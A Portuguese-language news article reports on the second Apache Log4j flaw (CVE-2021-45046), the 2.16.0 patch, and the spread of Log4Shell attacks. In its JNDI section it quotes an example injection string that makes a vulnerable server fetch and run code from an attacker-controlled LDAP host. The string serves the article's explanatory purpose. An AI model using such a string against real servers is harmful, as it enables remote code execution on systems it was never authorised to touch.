Log4Shell: especialistas descobrem segunda vulnerabilidade
Apache Software Foundation já lançou uma nova correção para o utilitário de registro Log4j; patch anterior foi considerado "incompleto em certas configurações não-definidas"By - Liliane Nakagawa, 15 dezembro 2021 às 18:21
Uma segunda vulnerabilidade (CVE-2021-45046) envolvendo o Apache Log4j foi encontrada por especialistas de cibersegurança nesta terça-feira (14), após tentarem corrigir ou mitigar a falha Log4Shell (CVE-2021-44228). O patch anterior foi considerado “incompleto em certas configurações não-definidas”. Para esta nova falha, a Apache Software Foundation (ASF) já lançou uma nova correção para o utilitário de registro Log4j.
No sistema CVSS, a nova vulnerabilidade é classificada como 3,7 de um máximo de 10 e afeta todas as versões do Log4j de 2.0-beta9 até 2.12.1 e 2.13.0 até 2.15.0, que especialistas forneceram na semana passada para lidar com a falha crítica de execução de código remoto (CVE-2021-44228). Essa vulnerabilidade poderia dar brecha aos atacantes para se infiltrarem e tomarem conta de sistemas.
De acordo com a Apache, o patch incompleto para CVE-2021-44228 poderia ser abusado para “criar dados de entrada maliciosos usando um padrão de busca JNDI resultando em um ataque de negação de serviço (DoS).
A versão mais recente do Log4j, 2.16.0 (Java 8 ou posterior) e o restante, exceto o suporte para pesquisas de mensagens, desabilita o JNDI por padrão, componente central da vulnerabilidade. Os usuários que requerem Java 7 são recomendados a atualizar para a versão 2.12.2 do Log4j assim que disponível.
Problemas no JNDI
O Java Naming and Directory Interface (JNDI) é uma API Java que permite às aplicações codificadas em linguagem de programação buscarem dados e recursos, como servidores LDAP. O Log4Shell é residente na biblioteca Log4j, biblioteca de registro baseada em Java e código aberto geralmente incorporada aos servidores web Apache.
Quando o componente JNDI do conector LDAP é alavancado para injetar um pedido de LDAP malicioso (algo como “${jndi:ldap://attacker_controled_website/payload_to_be_executed}”) que, quando logado em um servidor rodando a versão vulnerável da biblioteca, permite que um atacante recupere uma carga útil de um domínio remoto e a excute localmente.
“Lidar com o CVE-2021-44228 mostrou que o JNDI tem problemas significativos de segurança”, explicou Ralph Goers da ASF. “Embora tenhamos mitigado o que sabemos que seria mais seguro para os usuários desativá-lo completamente por padrão, especialmente porque é improvável que a grande maioria esteja usando-o”.
Log4Shell: por que a vulnerabilidade é tão grave?
Segundo a empresa israelense de segurança Check Point, “Ao contrário de outros grandes ciberataques que envolvem um ou um número limitado de software, o Log4j está basicamente embutido em cada produto ou serviço web baseado em Java. É muito difícil corrigi-lo manualmente”.
“Esta vulnerabilidade, devido à complexidade na aplicação de patches e facilidade de exploração, parece que permanecerá conosco por anos, a menos que as empresas e serviços tomem medidas imediatas para evitar os ataques a seus produtos, implementando uma proteção”, completou a empresa.
Pela extensão da vulnerabilidade, atacantes tem se aproveitado da Log4Shell para lançar variados ataques, incluindo a instalação de mineradores de criptomoedas, trojans de acesso remoto, ransomware em máquinas suscetíveis. Acredita-se que os ataques começaram em 1º de dezembro, embora a descoberta do bug tenha sido revelada 9 dias depois.
Nesse meio período, cerca de 44% das redes corporativas em todo o mundo já foram atacadas. Além disso, grupos atuando como corretores de acesso começaram a usar a vulnerabilidade para ganhar uma posição inicial nas redes alvo, vendendo posteriormente o acesso às afiliadas de resgate como um serviço (RaaS).
Devido aos ataques em larga escala da falha de execução de código remoto, a Agência de Segurança Cibernética e Infraestrutura dos EUA (CISA) acrescentou a Log4Shell ao seu Catálogo de Vulnerabilidades Exploradas Conhecidas, dando às agências federais o prazo até 24 de dezembro para incorporar patches para a vulnerabilidade e solicitar aos fornecedores a “identificar imediatamente, mitigar e remendar os produtos afetados usando a Log4j”.
Com informações The Hacker News e ZDNet
Comentários